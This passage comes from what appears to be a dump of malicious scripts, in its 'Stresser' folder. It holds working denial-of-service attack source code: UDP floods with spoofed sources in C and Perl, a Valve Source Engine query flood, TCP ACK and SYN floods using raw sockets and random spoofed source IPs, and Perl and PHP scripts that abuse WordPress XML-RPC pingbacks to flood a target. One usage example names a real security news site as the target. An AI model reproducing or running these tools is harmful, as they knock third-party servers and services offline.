 76 | unsigned short csum (unsigned short *buf, int nwords)
 77 | {
 78 |   unsigned long sum;
 79 |   for (sum = 0; nwords > 0; nwords--)
 80 |   sum += *buf++;
 81 |   sum = (sum >> 16) + (sum & 0xffff);
 82 |   sum += (sum >> 16);
 83 |   return (unsigned short)(~sum);
 84 | }
 85 | void setup_ip_header(struct iphdr *iph)
 86 | {
 87 |   struct ifaddrs *ifaddr, *ifa;
 88 |            int family, s;
 89 |            char host[NI_MAXHOST];
 90 | 
 91 |            if (getifaddrs(&ifaddr) == -1) {
 92 |                perror("getifaddrs");
 93 |                exit(EXIT_FAILURE);
 94 |            }
 95 | 
 96 |            /* Walk through linked list, maintaining head pointer so we
 97 |               can free list later */
 98 | 
 99 |            for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
100 |                if (ifa->ifa_addr == NULL)
101 |                    continue;
102 | 
103 |                family = ifa->ifa_addr->sa_family;
104 | 
105 |                if (family == AF_INET) {
106 |                    s = getnameinfo(ifa->ifa_addr,sizeof(struct sockaddr_in),
107 |                            host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
108 |                    if (s != 0) {
109 |                        printf("getnameinfo() failed: %s\n", gai_strerror(s));
110 |                        exit(EXIT_FAILURE);
111 |                    }
112 |                    if(strcmp(host, "127.0.0.1") != 0){
113 |                        break;
114 |                    }
115 |                }
116 |            }
117 |            freeifaddrs(ifaddr);
118 |   iph->ihl = 5;
119 |   iph->version = 4;
120 |   iph->tos = 0;
121 |   iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr);
122 |   iph->id = htonl(54321);
123 |   iph->frag_off = 0;
124 |   iph->ttl = MAXTTL;
125 |   iph->protocol = IPPROTO_UDP;
126 |   iph->check = 0;
127 | 
128 |   // Initial IP, changed later in infinite loop
129 |   iph->saddr = inet_addr(host);
130 | }
131 | 
132 | void setup_udp_header(struct udphdr *udph)
133 | {
134 |   udph->source = htons(5678);
135 |   udph->check = 0;
136 | }
137 | 
138 | void *flood(void *par1)
139 | {
140 |   struct thread_data *td = (struct thread_data *)par1;
141 |   fprintf(stdout, "Thread %d started\n", td->thread_id);
142 |   char datagram[MAX_PACKET_SIZE];
143 |   struct iphdr *iph = (struct iphdr *)datagram;
144 |   struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
145 |   struct sockaddr_in sin = td->sin;
146 |   char new_ip[sizeof "255.255.255.255"];
147 | 
148 |   int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
149 |   if(s < 0){
150 |     fprintf(stderr, "Could not open raw socket.\n");
151 |     exit(-1);
152 |   }
153 | 
154 |   unsigned int floodport = td->floodport;
155 | 
156 |   // Clear the data
157 |   memset(datagram, 0, MAX_PACKET_SIZE);
158 | 
159 |   // Set appropriate fields in headers
160 |   setup_ip_header(iph);
161 |   setup_udp_header(udph);
162 | 
163 |   char *data = (char *)udph + sizeof(struct udphdr);
164 |   data = replStr("\xFF", td->pks);
165 |   udph->len=htons(td->pks);
166 | 
167 |   iph->tot_len += td->pks;
168 | 
169 |   udph->dest = htons(floodport);
170 | 
171 |   iph->daddr = sin.sin_addr.s_addr;
172 |   iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
173 | 
174 |   int tmp = 1;
175 |   const int *val = &tmp;
176 |   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
177 |     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
178 |     exit(-1);
179 |   }
180 | 
181 |   int throttle = td->throttle;
182 | 
183 |   uint32_t random_num;
184 |   uint32_t ul_dst;
185 |   init_rand(time(NULL));
186 |   if(throttle == 0){
187 |     while(1){
188 |       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
189 |       random_num = rand_cmwc();
190 |       udph->source = htons(random_num & 0xFFFF);
191 |       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
192 |     }
193 |   } else {
194 |     while(1){
195 |       throttle = td->throttle;
196 |       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
197 |       random_num = rand_cmwc();
198 |       udph->source = htons(random_num & 0xFFFF);
199 |       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
200 | 
201 |      while(--throttle);
202 |     }
203 |   }
204 | }
205 | int main(int argc, char *argv[ ])
206 | {
207 |   if(argc < 6){
208 |     fprintf(stderr, "Invalid parameters!\n");
209 |     fprintf(stdout, "UDP Flooder v1.2.8 FINAL by ohnoes1479\nUsage: %s <target IP/hostname> <port to be flooded> <throttle (lower is faster)> <packet size> <number threads to use> <time (optional)>\n", argv[0]);
210 |     exit(-1);
211 |   }
212 | 
213 |   fprintf(stdout, "Setting up Sockets...\n");
214 | 
215 |   int num_threads = atoi(argv[5]);
216 |   int packet_size = atoi(argv[4]);
217 |   unsigned int floodport = atoi(argv[2]);
218 |   pthread_t thread[num_threads];
219 |   struct sockaddr_in sin;
220 | 
221 |   sin.sin_family = AF_INET;
222 |   sin.sin_port = htons(floodport);
223 |   sin.sin_addr.s_addr = inet_addr(argv[1]);
224 | 
225 |   struct thread_data td[num_threads];
226 | 
227 |   int i;
228 |   for(i = 0;i<num_threads;i++){
229 |     td[i].thread_id = i;
230 |     td[i].pks = packet_size;
231 |     td[i].sin = sin;
232 |     td[i].floodport = floodport;
233 |     td[i].throttle = atoi(argv[3]);
234 |     pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
235 |   }
236 |   fprintf(stdout, "Starting Flood...\n");
237 |   if(argc > 6)
238 |   {
239 |     sleep(atoi(argv[6]));
240 |   } else {
241 |     while(1){
242 |       sleep(1);
243 |     }
244 |   }
245 | 
246 |   return 0;
247 | }


--------------------------------------------------------------------------------
/Stresser/UDP/udpflood.pl:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/perl
 2 | # Coke - A spoofing UDP flooder
 3 | # Use only for stress testing network devices.
 4 | # 4/30/2008 - nwo
 5 | #
 6 | use Net::RawIP;
 7 | 
 8 | ($dest, $size, $count, $port) = split(/\s+/, "@ARGV");
 9 | $opt = @ARGV;
10 | 
11 | if($opt < 4) {
12 |   print "Usage: $0 (ip) (size) (amount) (port)\n";
13 |   print "If port is \'0\', random destination ports will be hit.\n";
14 |   exit(0);
15 | }
16 | if($size > 65000) {
17 |   print "Packet size must be below 65000 bytes. ( otherwise try 736 )\n";
18 |   exit(0);
19 | }
20 | 
21 | for(1..$size){
22 |   push @{$DATA},"A"
23 | }
24 | 
25 | if($port eq "0") {
26 |   print "+----------------------------------+\n";
27 |   print "Destination: $dest\n";
28 |   print "Source: Random\n";
29 |   print "Port: Random\n";
30 |   print "Packet size: $size\n";
31 |   print "Amount: $count\n";
32 |   print "+----------------------------------+\n";
33 |   while($i <= $count) {
34 |     $saddr = join(".", map int rand 256, 1 .. 4);
35 |     $rsport = int rand(65535);
36 |     $rport = int rand(65535);
37 |     $packet = Net::RawIP->new({
38 |                           ip => {
39 |                                 saddr => $saddr,
40 |                                 daddr => $dest,
41 |                                 },
42 | 
43 |                           udp => {
44 |                                 source => $rsport,
45 |                                 dest => $rport,
46 |                                 data => "@{$DATA}",
47 |                                 },
48 |                           });
49 |   $packet->send;
50 |   $i++;
51 |   }
52 |   exit(0);
53 | }
54 | 
55 | print "+----------------------------------+\n";
56 | print "Destination: $dest\n";
57 | print "Source: Random\n";
58 | print "Port: $port\n";
59 | print "Packet size: $size\n";
60 | print "Amount: $count\n";
61 | print "+----------------------------------+\n";
62 | 
63 | while($i <= $count) {
64 |   $saddr = join(".", map int rand 256, 1 .. 4);
65 |   $rsport = int rand(65535);
66 | 
67 |   $packet = Net::RawIP->new({
68 |                         ip => {
69 |                               saddr => $saddr,
70 |                               daddr => $dest,
71 |                               },
72 | 
73 |                         udp => {
74 |                               source => $rsport,
75 |                               dest => $port,
76 |                               data => "@{$DATA}",
77 |                               },
78 |                         });
79 |   $packet->send;
80 |   $i++;
81 | }
82 | 


--------------------------------------------------------------------------------
/Stresser/VSE/VSE:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/Mass-Malicious-Script-Dump/824f48a25b7f12195a2afaf410d5f936837192c0/Stresser/VSE/VSE


--------------------------------------------------------------------------------
/Stresser/VSE/vse_attack.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * Valve Source Engine Layer 7 by LSDEV
  3 |  */
  4 |  
  5 | #include <pthread.h>
  6 | #include <unistd.h>
  7 | #include <stdio.h>
  8 | #include <stdlib.h>
  9 | #include <string.h>
 10 | #include <sys/socket.h>
 11 | #include <netinet/ip.h>
 12 | #include <netinet/udp.h>
 13 |  
 14 | #define MAX_PACKET_SIZE 4096
 15 | #define PHI 0x9e3779b9
 16 |  
 17 | static unsigned long int Q[4096], c = 362436;
 18 | static unsigned int floodport;
 19 | volatile int limiter;
 20 | volatile unsigned int pps;
 21 | volatile unsigned int sleeptime = 100;
 22 |  
 23 | void init_rand(unsigned long int x)
 24 | {
 25 |         int i;
 26 |         Q[0] = x;
 27 |         Q[1] = x + PHI;
 28 |         Q[2] = x + PHI + PHI;
 29 |         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 30 | }
 31 | unsigned long int rand_cmwc(void)
 32 | {
 33 |         unsigned long long int t, a = 18782LL;
 34 |         static unsigned long int i = 4095;
 35 |         unsigned long int x, r = 0xfffffffe;
 36 |         i = (i + 1) & 4095;
 37 |         t = a * Q[i] + c;
 38 |         c = (t >> 32);
 39 |         x = t + c;
 40 |         if (x < c) {
 41 |                 x++;
 42 |                 c++;
 43 |         }
 44 |         return (Q[i] = r - x);
 45 | }
 46 | unsigned short csum (unsigned short *buf, int count)
 47 | {
 48 |         register unsigned long sum = 0;
 49 |         while( count > 1 ) { sum += *buf++; count -= 2; }
 50 |         if(count > 0) { sum += *(unsigned char *)buf; }
 51 |         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 52 |         return (unsigned short)(~sum);
 53 | }
 54 |  
 55 | void setup_ip_header(struct iphdr *iph)
 56 | {
 57 |         iph->ihl = 5;
 58 |         iph->version = 4;
 59 |         iph->tos = 0;
 60 |         iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 25;
 61 |         iph->id = htonl(54321);
 62 |         iph->frag_off = 0;
 63 |         iph->ttl = MAXTTL;
 64 |         iph->protocol = IPPROTO_UDP;
 65 |         iph->check = 0;
 66 |         iph->saddr = inet_addr("192.168.3.100");
 67 | }
 68 |  
 69 | void setup_udp_header(struct udphdr *udph)
 70 | {
 71 |         udph->source = htons(27015);
 72 |     udph->dest = htons(27015);
 73 |     udph->check = 0;
 74 |         void *data = (void *)udph + sizeof(struct udphdr);
 75 |         memset(data, 0xFF, 4);
 76 |         strcpy(data+4, "TSource Engine Query");
 77 |     udph->len=htons(sizeof(struct udphdr) + 25);
 78 | }
 79 |  
 80 | void *flood(void *par1)
 81 | {
 82 |         char *td = (char *)par1;
 83 |         char datagram[MAX_PACKET_SIZE];
 84 |         struct iphdr *iph = (struct iphdr *)datagram;
 85 |         struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
 86 |        
 87 |         struct sockaddr_in sin;
 88 |         sin.sin_family = AF_INET;
 89 |         sin.sin_port = htons(17015);
 90 |         sin.sin_addr.s_addr = inet_addr(td);
 91 |  
 92 |         int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
 93 |         if(s < 0){
 94 |                 fprintf(stderr, "Could not open raw socket.\n");
 95 |                 exit(-1);
 96 |         }
 97 |         memset(datagram, 0, MAX_PACKET_SIZE);
 98 |         setup_ip_header(iph);
 99 |         setup_udp_header(udph);
100 |  
101 |         iph->daddr = sin.sin_addr.s_addr;
102 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
103 |  
104 |         int tmp = 1;
105 |         const int *val = &tmp;
106 |         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
107 |                 fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
108 |                 exit(-1);
109 |         }
110 |  
111 |         init_rand(time(NULL));
112 |         register unsigned int i;
113 |         i = 0;
114 |         while(1){
115 |                 sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
116 |                 iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
117 |                 iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
118 |                 iph->check = csum ((unsigned short *) datagram, iph->tot_len);
119 |                
120 |                 pps++;
121 |                 if(i >= limiter)
122 |                 {
123 |                         i = 0;
124 |                         usleep(sleeptime);
125 |                 }
126 |                 i++;
127 |         }
128 | }
129 | int main(int argc, char *argv[ ])
130 | {
131 |         if(argc < 5){
132 |                 fprintf(stderr, "Invalid parameters!\n");
133 |                 fprintf(stdout, "Valve Source Engine Layer 7 by LSDEV\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
134 |                 exit(-1);
135 |         }
136 |  
137 |         fprintf(stdout, "Setting up Sockets...\n");
138 |  
139 |         int num_threads = atoi(argv[2]);
140 |         int maxpps = atoi(argv[3]);
141 |         limiter = 0;
142 |         pps = 0;
143 |         pthread_t thread[num_threads];
144 |        
145 |         int multiplier = 20;
146 |  
147 |         int i;
148 |         for(i = 0;i<num_threads;i++){
149 |                 pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
150 |         }
151 |         fprintf(stdout, "Starting Flood...\n");
152 |         for(i = 0;i<(atoi(argv[4])*multiplier);i++)
153 |         {
154 |                 usleep((1000/multiplier)*1000);
155 |                 if((pps*multiplier) > maxpps)
156 |                 {
157 |                         if(1 > limiter)
158 |                         {
159 |                                 sleeptime+=100;
160 |                         } else {
161 |                                 limiter--;
162 |                         }
163 |                 } else {
164 |                         limiter++;
165 |                         if(sleeptime > 25)
166 |                         {
167 |                                 sleeptime-=25;
168 |                         } else {
169 |                                 sleeptime = 0;
170 |                         }
171 |                 }
172 |                 pps = 0;
173 |         }
174 |  
175 |         return 0;
176 | }


--------------------------------------------------------------------------------
/Stresser/WIZARD/wizard:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/Mass-Malicious-Script-Dump/824f48a25b7f12195a2afaf410d5f936837192c0/Stresser/WIZARD/wizard


--------------------------------------------------------------------------------
/Stresser/XACK/xack_attack.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3 |  */
  4 | #include <unistd.h>
  5 | #include <time.h>
  6 | #include <sys/types.h>
  7 | #include <sys/socket.h>
  8 | #include <sys/ioctl.h>
  9 | #include <string.h>
 10 | #include <stdlib.h>
 11 | #include <stdio.h>
 12 | #include <pthread.h>
 13 | #include <netinet/tcp.h>
 14 | #include <netinet/ip.h>
 15 | #include <netinet/in.h>
 16 | #include <netinet/if_ether.h>
 17 | #include <netdb.h>
 18 | #include <net/if.h>
 19 | #include <arpa/inet.h>
 20 | 
 21 | #define MAX_PACKET_SIZE 65534
 22 | #define PHI 0x9e3779b9
 23 | 
 24 | static unsigned long int Q[4096], c = 362436;
 25 | volatile int limiter;
 26 | volatile unsigned int pps;
 27 | volatile unsigned int sleeptime = 100;
 28 | 
 29 | void init_rand(unsigned long int x)
 30 | {
 31 | 	int i;
 32 | 	Q[0] = x;
 33 | 	Q[1] = x + PHI;
 34 | 	Q[2] = x + PHI + PHI;
 35 | 	for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 36 | }
 37 | unsigned long int rand_cmwc(void)
 38 | {
 39 | 	unsigned long long int t, a = 18782LL;
 40 | 	static unsigned long int i = 4095;
 41 | 	unsigned long int x, r = 0xfffffffe;
 42 | 	i = (i + 1) & 4095;
 43 | 	t = a * Q[i] + c;
 44 | 	c = (t >> 32);
 45 | 	x = t + c;
 46 | 	if (x < c) {
 47 | 		x++;
 48 | 		c++;
 49 | 	}
 50 | 	return (Q[i] = r - x);
 51 | }
 52 | unsigned short csum (unsigned short *buf, int count)
 53 | {
 54 | 	register unsigned long sum = 0;
 55 | 	while( count > 1 ) { sum += *buf++; count -= 2; }
 56 | 	if(count > 0) { sum += *(unsigned char *)buf; }
 57 | 	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 58 | 	return (unsigned short)(~sum);
 59 | }
 60 | 
 61 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 62 | 
 63 | 	struct tcp_pseudo
 64 | 	{
 65 | 		unsigned long src_addr;
 66 | 		unsigned long dst_addr;
 67 | 		unsigned char zero;
 68 | 		unsigned char proto;
 69 | 		unsigned short length;
 70 | 	} pseudohead;
 71 | 	unsigned short total_len = iph->tot_len;
 72 | 	pseudohead.src_addr=iph->saddr;
 73 | 	pseudohead.dst_addr=iph->daddr;
 74 | 	pseudohead.zero=0;
 75 | 	pseudohead.proto=IPPROTO_TCP;
 76 | 	pseudohead.length=htons(sizeof(struct tcphdr));
 77 | 	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 78 | 	unsigned short *tcp = malloc(totaltcp_len);
 79 | 	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 80 | 	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 81 | 	unsigned short output = csum(tcp,totaltcp_len);
 82 | 	free(tcp);
 83 | 	return output;
 84 | }
 85 | 
 86 | void setup_ip_header(struct iphdr *iph)
 87 | {
 88 | 	iph->ihl = 5;
 89 | 	iph->version = 4;
 90 | 	iph->tos = 0;
 91 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 92 | 	iph->id = htonl(54321);
 93 | 	iph->frag_off = 0;
 94 | 	iph->ttl = MAXTTL;
 95 | 	iph->protocol = 6;
 96 | 	iph->check = 0;
 97 | 	iph->saddr = inet_addr("192.168.3.100");
 98 | }
 99 | 
100 | void setup_tcp_header(struct tcphdr *tcph)
101 | {
102 | 	tcph->source = rand();
103 | 	tcph->seq = rand();
104 | 	tcph->ack_seq = rand();
105 | 	tcph->res2 = 0;
106 | 	tcph->doff = 5;
107 | 	tcph->ack = 1;
108 | 	tcph->window = rand();
109 | 	tcph->check = 0;
110 | 	tcph->urg_ptr = 0;
111 | }
112 | 
113 | void *flood(void *par1)
114 | {
115 | 	char *td = (char *)par1;
116 | 	char datagram[MAX_PACKET_SIZE];
117 | 	struct iphdr *iph = (struct iphdr *)datagram;
118 | 	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
119 | 	
120 | 	struct sockaddr_in sin;
121 | 	sin.sin_family = AF_INET;
122 | 	sin.sin_port = rand();
123 | 	sin.sin_addr.s_addr = inet_addr(td);
124 | 
125 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
126 | 	if(s < 0){
127 | 		fprintf(stderr, "Could not open raw socket.\n");
128 | 		exit(-1);
129 | 	}
130 | 	memset(datagram, 0, MAX_PACKET_SIZE);
131 | 	setup_ip_header(iph);
132 | 	setup_tcp_header(tcph);
133 | 
134 | 	tcph->dest = rand();
135 | 
136 | 	iph->daddr = sin.sin_addr.s_addr;
137 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
138 | 
139 | 	int tmp = 1;
140 | 	const int *val = &tmp;
141 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
142 | 		fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
143 | 		exit(-1);
144 | 	}
145 | 
146 | 	init_rand(time(NULL));
147 | 	register unsigned int i;
148 | 	i = 0;
149 | 	while(1){
150 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
151 | 
152 | 		iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
153 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
154 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len);
155 | 		tcph->seq = rand_cmwc() & 0xFFFF;
156 | 		tcph->source = htons(rand_cmwc() & 0xFFFF);
157 | 		tcph->check = 0;
158 | 		tcph->check = tcpcsum(iph, tcph);
159 | 		
160 | 		pps++;
161 | 		if(i >= limiter)
162 | 		{
163 | 			i = 0;
164 | 			usleep(sleeptime);
165 | 		}
166 | 		i++;
167 | 	}
168 | }
169 | int main(int argc, char *argv[ ])
170 | {
171 | 	if(argc < 5){
172 | 		fprintf(stderr, "Improper ACK flood parameters!\n");
173 | 		fprintf(stdout, "Usage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
174 | 		exit(-1);
175 | 	}
176 | 
177 | 	fprintf(stdout, "Setting up Sockets...\n");
178 | 
179 | 	int num_threads = atoi(argv[2]);
180 | 	int maxpps = atoi(argv[3]);
181 | 	limiter = 0;
182 | 	pps = 0;
183 | 	pthread_t thread[num_threads];
184 | 	
185 | 	int multiplier = 100;
186 | 
187 | 	int i;
188 | 	for(i = 0;i<num_threads;i++){
189 | 		pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
190 | 	}
191 | 	fprintf(stdout, "Starting Flood...\n");
192 | 	for(i = 0;i<(atoi(argv[4])*multiplier);i++)
193 | 	{
194 | 		usleep((1000/multiplier)*1000);
195 | 		if((pps*multiplier) > maxpps)
196 | 		{
197 | 			if(1 > limiter)
198 | 			{
199 | 				sleeptime+=100;
200 | 			} else {
201 | 				limiter--;
202 | 			}
203 | 		} else {
204 | 			limiter++;
205 | 			if(sleeptime > 25)
206 | 			{
207 | 				sleeptime-=25;
208 | 			} else {
209 | 				sleeptime = 0;
210 | 			}
211 | 		}
212 | 		pps = 0;
213 | 	}
214 | 
215 | 	return 0;
216 | }


--------------------------------------------------------------------------------
/Stresser/XMLRPC/xmlrpc_(perl_version).pl:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/perl -w
 2 | use List::Util qw(min max);
 3 | use LWP::UserAgent;
 4 | use HTTP::Request::Common;
 5 | use Parallel::ForkManager;
 6 | use vars qw( $PROG );
 7 | ( $PROG = $0 ) =~ s/^.*[\/\\]//;
 8 | if ( @ARGV == 0 ) {
 9 |         print "Usage: ./$PROG [TARGET] [THREADS] [LIST] [TIMEOUT]\nExample: ./$PROG http://krebsonsecurity.com/ 10000 xmlrpc.txt 10\nList Format: XMLRPC POST\nMade by Vypor\n";
10 |     exit;
11 | }
12 | my $max_processes = $ARGV[1];
13 | my $pm = Parallel::ForkManager->new($max_processes);
14 | my $count = 1;
15 | my $timeout = $ARGV[3];
16 | 
17 | my $weblist = $ARGV[2];
18 | open my $handle, '<', $weblist;
19 | chomp(my @webservers = <$handle>);
20 | close $handle;
21 | 
22 | repeat:
23 | for my $webservers (@webservers) {
24 | my @chars = ("a".."z", A..Z, 0..9);
25 | my $random = join '', map { @chars[rand @chars] } 1 .. 8;
26 | my $random2 = join '', map { @chars[rand @chars] } 1 .. 8;
27 | 
28 | 	$count++;
29 | 	$max = max $count;
30 | 	my $pid = $pm->start and next;
31 | 		alarm($timeout);
32 | 		my($xmlrpc, $webpost) = split(' ', $webservers, 2);
33 | 			my $target = "$ARGV[0]?$random=$random2";
34 | 			my $userAgent = LWP::UserAgent->new(agent => 'perl post');
35 | 			my $message = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>$target</string></value></param><param><value><string>$webpost</string></value></param></params></methodCall>";
36 | 			my $response = $userAgent->request(POST $xmlrpc,
37 | 		Content_Type => 'text/xml',
38 | 		Content => $message);
39 | print("\rRequests: $max ");
40 | 	$pm->finish;
41 | 
42 | }
43 | $pm->wait_all_children;
44 | goto repeat;


--------------------------------------------------------------------------------
/Stresser/XMLRPC/xmlrpc_attack.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 | 
 3 | function partition( $list, $p ) {
 4 |         $listlen = count( $list );
 5 |         $partlen = floor( $listlen / $p );
 6 |         $partrem = $listlen % $p;
 7 |         $partition = array();
 8 |         $mark = 0;
 9 |         for ($px = 0; $px < $p; $px++) {
10 |                 $incr = ($px < $partrem) ? $partlen + 1 : $partlen;
11 |                 $partition[$px] = array_slice( $list, $mark, $incr );
12 |                 $mark += $incr;
13 |         }
14 |         return $partition;
15 | }
16 | 
17 | $part = array();
18 | $array = file($argv[3], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
19 | $childcount = $argv[2];
20 | $part = partition($array, $childcount);
21 | 
22 | $shm_id = shmop_open(23377332, "c", 0666, 1024);
23 | shmop_close($shm_id);
24 | 
25 | if(pcntl_fork() == 0)
26 | {
27 |         $sem = sem_get(13377331, 1, 0666, 1);
28 |         $shm_id = shmop_open(23377332, "c", 0666, 1024);
29 |         $total = 0;
30 |         while(true)
31 |         {
32 |                 sem_acquire($sem);
33 |                 $number = shmop_read($shm_id, 0, 1024);
34 |                 $total += $number;
35 |                 $string = array();
36 |                 array_push($string, $number);
37 |                 array_push($string, " R/s ");
38 |                 array_push($string, $total);
39 |                 array_push($string, " Total Requests                              \r");
40 |                 echo implode("", $string);
41 |                 unset($string);
42 |                 shmop_write($shm_id, str_pad("0", 1024, "\0"), 0);
43 |                 sem_release($sem);
44 |                 sleep(1);
45 |         }
46 | 
47 |         exit;
48 | }
49 | 
50 | for($i = 0; $i < $childcount; $i ++)
51 | {
52 |         $pid = pcntl_fork();
53 |         if ($pid == -1) {
54 |                 echo "failed to fork on loop $i of forking\n";
55 |                 exit;
56 |         } else if ($pid) {
57 |                 continue;
58 |         } else {
59 |                 $sem = sem_get(13377331, 1, 0666, 1);
60 |                 $shm_id = shmop_open(23377332, "c", 0666, 1024);
61 |                 while(true)
62 |                 {
63 |                         foreach($part[$i] as $ip)
64 |                         {
65 | 
66 |                                 list($service, $target) = array_merge(@explode(" ", $ip), array(" "));
67 |                                 $url = array();
68 |                                 array_push($url, $argv[1]);
69 |                                 array_push($url, (parse_url($argv[1], PHP_URL_QUERY) == "" ? "?" : "&"));
70 |                                 array_push($url, rand(1000000, 9999999));
71 |                                 array_push($url, "=");
72 |                                 array_push($url, rand(1000000, 9999999));
73 |                                 $request = xmlrpc_encode_request("pingback.ping", array(implode("", $url), $target));
74 |                                 unset($url);
75 |                                 $context = stream_context_create(array('http' => array(
76 |                                         'method' => "POST",
77 |                                         'header' => "Content-Type: text/xml",
78 |                                         'content' => $request
79 |                                 )));
80 |                                 @file_get_contents($service, false, $context);
81 |                                 sem_acquire($sem);
82 |                                 $number = shmop_read($shm_id, 0, 1024);
83 |                                 $number = intval($number);
84 |                                 $number++;
85 |                                 shmop_write($shm_id, str_pad($number, 1024, "\0"), 0);
86 |                                 sem_release($sem);
87 |                         }
88 |                 }
89 |                 die;
90 |         }
91 | }
92 | 
93 | for($j = 0; $j < $childcount; $j++)
94 | {
95 |         $pid = pcntl_wait($status);
96 | }


--------------------------------------------------------------------------------
/Stresser/XSYN/xsyn_attack.c:
--------------------------------------------------------------------------------
  1 | #include <pthread.h>
  2 | #include <unistd.h>
  3 | #include <stdio.h>
  4 | #include <stdlib.h>
  5 | #include <string.h>
  6 | #include <sys/socket.h>
  7 | #include <netinet/ip.h>
  8 | #include <netinet/tcp.h>
  9 | #include <time.h>
 10 | #define MAX_PACKET_SIZE 4096
 11 | #define PHI 0x9e3779b9
 12 | 
 13 | static unsigned long int Q[4096], c = 362436;
 14 | static unsigned int floodport;
 15 | volatile int limiter;
 16 | volatile unsigned int pps;
 17 | volatile unsigned int sleeptime = 100;
 18 | 
 19 | void init_rand(unsigned long int x)
 20 | {
 21 | 	int i;
 22 | 	Q[0] = x;
 23 | 	Q[1] = x + PHI;
 24 | 	Q[2] = x + PHI + PHI;
 25 | 	for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 26 | }
 27 | unsigned long int rand_cmwc(void)
 28 | {
 29 | 	unsigned long long int t, a = 18782LL;
 30 | 	static unsigned long int i = 4095;
 31 | 	unsigned long int x, r = 0xfffffffe;
 32 | 	i = (i + 1) & 4095;
 33 | 	t = a * Q[i] + c;
 34 | 	c = (t >> 32);
 35 | 	x = t + c;
 36 | 	if (x < c) {
 37 | 		x++;
 38 | 		c++;
 39 | 	}
 40 | 	return (Q[i] = r - x);
 41 | }
 42 | unsigned short csum (unsigned short *buf, int count)
 43 | {
 44 | 	register unsigned long sum = 0;
 45 | 	while( count > 1 ) { sum += *buf++; count -= 2; }
 46 | 	if(count > 0) { sum += *(unsigned char *)buf; }
 47 | 	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 48 | 	return (unsigned short)(~sum);
 49 | }
 50 | 
 51 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 52 | 
 53 | 	struct tcp_pseudo
 54 | 	{
 55 | 		unsigned long src_addr;
 56 | 		unsigned long dst_addr;
 57 | 		unsigned char zero;
 58 | 		unsigned char proto;
 59 | 		unsigned short length;
 60 | 	} pseudohead;
 61 | 	unsigned short total_len = iph->tot_len;
 62 | 	pseudohead.src_addr=iph->saddr;
 63 | 	pseudohead.dst_addr=iph->daddr;
 64 | 	pseudohead.zero=0;
 65 | 	pseudohead.proto=IPPROTO_TCP;
 66 | 	pseudohead.length=htons(sizeof(struct tcphdr));
 67 | 	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
